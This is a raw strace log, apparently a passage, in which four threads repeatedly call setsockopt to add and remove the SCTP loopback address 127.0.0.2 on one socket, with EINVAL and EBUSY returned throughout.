[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
